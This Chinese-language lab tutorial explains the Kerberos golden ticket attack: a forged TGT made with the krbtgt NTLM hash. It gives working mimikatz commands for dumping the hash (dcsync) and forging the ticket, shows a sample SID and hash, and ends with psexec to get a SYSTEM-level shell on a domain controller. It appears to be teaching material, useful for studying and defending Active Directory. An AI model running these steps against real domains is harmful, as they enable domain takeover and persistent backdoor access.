3.1:黄金票据原理
在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Session key_AS和TGT,而Session key_AS并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash(也就是KDC hash),就可以伪造TGT和Session key_AS来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。
特点:不需要与AS进行交互,需要用户krbtgt的Hash
3.2:黄金票据伪造实验
***实验条件***
- 要与DC通信
- 域的SID 值
- 需要krbtgt用户的hash(也就是说要拿下域控制器)
***实验环境***
角色 | 域控 | 域内客户机 |
系统 | Windows server 2008R2 | Windows 7 Sp1 |
IP地址 | 192.168.1.254 | 192.1681.122 |
第一步:客户机访问域控资源并在域控中使用mimikatz抓取krbtgt的hash
lsadump::dcsync /user:krbtgt
第二步:提取出里面的sid和NTLM hash并在win7客户端使用mimikatz制作票据
SID:S-1-5-21-1857385675-1251677193-2455287388-502
KBRTGT NTLM HASH:59034ceb8b9fa80cd755e4ab2f27c01c
kerberos::golden /admin:需要伪造的用户名 /domain:域名 /sid:sid /krbtgt:krbtgt的ntml hash /ticket:administrator.online
/ticke参数是要存储的名字,方便后面导入
第三步:清空现有票据并将票据注入内存
第四步:查看当前会话中票据
第五步:权限验证
第六步:尝试使用psexec.exe
与域控
建立cmd交互式shell
,成功获得域控cmd权限,并且是最高权限。
psexec64 \\dc.laosec.cn cmd.exe